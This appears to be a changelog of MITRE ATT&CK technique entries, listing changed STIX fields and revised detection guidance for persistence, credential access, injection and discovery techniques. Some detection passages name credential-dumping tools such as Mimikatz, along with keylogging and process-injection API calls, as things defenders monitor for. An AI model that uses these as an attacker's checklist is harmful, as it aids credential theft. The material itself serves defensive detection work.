| x_mitre_detection | Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:06.251000+00:00 | 2025-10-24 17:49:21.832000+00:00 |
| x_mitre_detection | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)
+
+Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)
+
+* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
+* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
+* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
+* 7F88CD7223F3C813818C994614A89C99FA3B5247
+* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
+* A43489159A520F0D93D032CCAF37E7FE20A8B419
+* BE36A4562FB2EE05DBB3D32323ADF445084ED656
+* CDD4EEAE6000AC7F40C3802C171E30148030C072 |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:11.581000+00:00 | 2025-10-24 17:48:34.798000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Process: Process Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:57.325000+00:00 | 2025-10-24 17:49:13.194000+00:00 |
| x_mitre_detection | Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.776000+00:00 | 2025-10-24 17:49:05.030000+00:00 |
| x_mitre_detection | Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:22.365000+00:00 | 2025-10-24 17:49:37.574000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:42:40.610000+00:00 | 2025-10-24 17:49:09.394000+00:00 |
| x_mitre_detection | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017) |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:43:00.641000+00:00 | 2025-10-24 17:49:15.520000+00:00 |
| x_mitre_detection | Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:43:16.394000+00:00 | 2025-10-24 17:48:24.217000+00:00 |
| x_mitre_detection | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
+
+Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.
+
+Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:22.822000+00:00 | 2025-10-24 17:49:38.011000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Credential Request'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.912000+00:00 | 2025-10-24 17:49:36.038000+00:00 |
| x_mitre_detection | Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:54.982000+00:00 | 2025-10-24 17:49:10.550000+00:00 |
| x_mitre_detection | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
+
+Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
+
+On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
+ |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:43:44.231000+00:00 | 2025-10-24 17:49:11.077000+00:00 |
| x_mitre_detection | Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.
+
+Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:44:01.937000+00:00 | 2025-10-24 17:48:29.756000+00:00 |
| x_mitre_detection | Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:03.923000+00:00 | 2025-10-24 17:48:21.756000+00:00 |
| x_mitre_detection | Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation', 'File: File Modification', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:15.460000+00:00 | 2025-10-24 17:48:25.182000+00:00 |
| x_mitre_detection | Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Service: Service Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:44:23.234000+00:00 | 2025-10-24 17:48:52.462000+00:00 |
| x_mitre_detection | Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)
+
+Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.
+
+Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay) |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:44:37.776000+00:00 | 2025-10-24 17:49:04.385000+00:00 |
| x_mitre_detection | + |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:44:50.491000+00:00 | 2025-10-24 17:48:29.945000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'File: File Creation', 'Driver: Driver Load', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.686000+00:00 | 2025-10-24 17:49:35.318000+00:00 |
| x_mitre_detection | With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) + +Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Access', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:45:12.834000+00:00 | 2025-10-24 17:48:52.657000+00:00 |
| x_mitre_detection | Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. + +On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. + +Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Named Pipe: Named Pipe Metadata', 'Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:03.832000+00:00 | 2025-10-24 17:49:19.137000+00:00 |
| x_mitre_detection | Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Service: Service Modification', 'File: File Creation', 'Service: Service Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:10.035000+00:00 | 2025-10-24 17:49:25.367000+00:00 |
| x_mitre_detection | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
+
+Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Service: Service Modification', 'Command: Command Execution', 'Service: Service Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:33.604000+00:00 | 2025-10-24 17:48:49.387000+00:00 |
| x_mitre_detection | Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.
+
+Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)
+
+ |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:46.562000+00:00 | 2025-10-24 17:49:02.098000+00:00 |
| x_mitre_detection | Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders.
+
+Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.
+
+When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:45:40.961000+00:00 | 2025-10-24 17:49:03.552000+00:00 |
| x_mitre_detection | If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Metadata', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:46:00.944000+00:00 | 2025-10-24 17:48:21.839000+00:00 |
| x_mitre_detection | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques)
+
+Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Modification', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:18.862000+00:00 | 2025-10-24 17:49:33.701000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique.
+
+Consider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.
+
+Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Group: Group Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:14.718000+00:00 | 2025-10-24 17:48:32.515000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+
+Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.607000+00:00 | 2025-10-24 17:49:39.874000+00:00 |
| x_mitre_detection | Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:11.270000+00:00 | 2025-10-24 17:48:28.868000+00:00 |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:00.964000+00:00 | 2025-10-24 17:48:29.669000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Group: Group Enumeration', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:46:25.458000+00:00 | 2025-10-24 17:49:10.014000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:46:43.054000+00:00 | 2025-10-24 17:48:42.963000+00:00 |
| x_mitre_detection | Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:47.788000+00:00 | 2025-10-24 17:49:03.355000+00:00 |
| x_mitre_detection | All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.
+
+Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)
+
+Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:46:59.108000+00:00 | 2025-10-24 17:49:33.610000+00:00 |
| x_mitre_detection | Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript.
+
+Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
